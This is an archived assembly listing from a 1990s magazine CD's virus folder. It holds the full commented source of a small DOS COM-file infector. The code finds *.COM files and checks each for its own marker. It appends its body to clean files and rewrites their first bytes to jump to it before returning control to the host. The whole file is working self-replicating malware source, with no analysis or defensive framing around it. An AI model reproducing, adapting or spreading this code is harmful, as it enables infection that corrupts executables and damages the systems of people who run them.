home *** CD-ROM | disk | FTP | other *** search
/ PCMania 73 / PCMania CD73_1.iso / sharewar / varios / partial / REGALOS / VIRUS / TYNI.ASM < prev   
Assembly Source File  |  1996-01-03  |  5KB  |  121 lines

  1. PAGE  59,132
  2.  
  3.  
  4. data_2e         equ     1ABh                    ;start of virus
  5.  
  6. seg_a           segment byte public             ;
  7.                 assume  cs:seg_a, ds:seg_a      ;assume cs, ds - code
  8.  
  9.  
  10.                 org     100h                    ;orgin of all COM files
  11. s               proc    far
  12.  
  13. start:
  14.                 jmp     loc_1                   ;jump to virus
  15.  
  16.  
  17. ;this is a replacement for an infected file
  18.  
  19.                 db      0CDh, 20h, 7, 8, 9      ;int 20h
  20.                                                 ;pop es
  21.  
  22. loc_1:
  23.                 call    sub_1                   ;
  24.  
  25.  
  26.  
  27. s               endp
  28.  
  29.  
  30. sub_1           proc    near                    ;
  31.                 pop     si                      ;locate all virus code via
  32.                 sub     si,10Bh                 ;si, cause all offsets will
  33.                 mov     bp,data_1[si]           ;change when virus infects
  34.                 add     bp,103h                 ;a COM file
  35.                 lea     dx,[si+1A2h]            ;offset of '*.COM',0 - via SI
  36.                 xor     cx,cx                   ;clear cx - find only normal
  37.                                                 ;attributes
  38.                 mov     ah,4Eh                  ;find first file
  39. loc_2:
  40.                 int     21h                     ;
  41.  
  42.                 jc      loc_6                   ;no files found? then quit
  43.                 mov     dx,9Eh                  ;offset of filename found
  44.                 mov     ax,3D02h                ;open file for read/write access
  45.                 int     21h                     ;
  46.  
  47.                 mov     bx,ax                   ;save handle into bx
  48.                 mov     ah,3Fh                  ;read from file
  49.                 lea     dx,[si+1A8h]            ;offset of save buffer
  50.                 mov     di,dx                   ;
  51.                 mov     cx,3                    ;read three bytes
  52.                 int     21h                     ;
  53.                 
  54.                 cmp     byte ptr [di],0E9h      ;compare buffer to virus id
  55.                                                 ;string
  56.                 je      loc_4                   ;
  57. loc_3:
  58.                 mov     ah,4Fh                  ;find the next file
  59.                 jmp     short loc_2             ;and test it
  60. loc_4:
  61.                 mov     dx,[di+1]               ;lsh of offset
  62.                 mov     data_1[si],dx           ;
  63.                 xor     cx,cx                   ;msh of offset
  64.                 mov     ax,4200h                ;set the file pointer
  65.                 int     21h                     ;
  66.  
  67.                 mov     dx,di                   ;buffer to save read
  68.                 mov     cx,2                    ;read two bytes
  69.                 mov     ah,3Fh                  ;read from file
  70.                 int     21h                     ;
  71.  
  72.                 cmp     word ptr [di],807h      ;compare buffer to virus id
  73.                 je      loc_3                   ;same? then find another file
  74.  
  75. ;heres where we infect a file
  76.  
  77.                 xor     dx,dx                   ;set file pointer
  78.                 xor     cx,cx                   ;ditto
  79.                 mov     ax,4202h                ;set file pointer
  80.                 int     21h                     ;
  81.  
  82.                 cmp     dx,0                    ;returns msh
  83.                 jne     loc_3                   ;not the same? find another file
  84.                 cmp     ah,0FEh                 ;lsh = 254???
  85.                 jae     loc_3                   ;if more or equal find another file
  86.  
  87.                 mov     ds:data_2e[si],ax       ;point to data
  88.                 mov     ah,40h                  ;write to file
  89.                 lea     dx,[si+105h]            ;segment:offset of write buffer
  90.                 mov     cx,0A3h                 ;write 163 bytes
  91.                 int     21h                     ;
  92.  
  93.                 jc      loc_5                   ;error? then quit
  94.                 mov     ax,4200h                ;set file pointer
  95.                 xor     cx,cx                   ;to the top of the file
  96.                 mov     dx,1                    ;
  97.                 int     21h                     ;
  98.  
  99.                 mov     ah,40h                  ;write to file
  100.                 lea     dx,[si+1ABh]            ;offset of jump to virus code
  101.                 mov     cx,2                    ;two bytes
  102.                 int     21h                     ;
  103.  
  104. ;now close the file
  105.  
  106. loc_5:
  107.                 mov     ah,3Eh                  ;close file
  108.                 int     21h                     ;
  109.  
  110. loc_6:
  111.                 jmp     bp                      ;jump to original file
  112.  
  113. data_1          dw      0                       ;
  114.                 db      '*.COM',0               ;wild card search string
  115.  
  116.  
  117. sub_1           endp
  118. seg_a           ends
  119.                 end     start
  120.  
  121.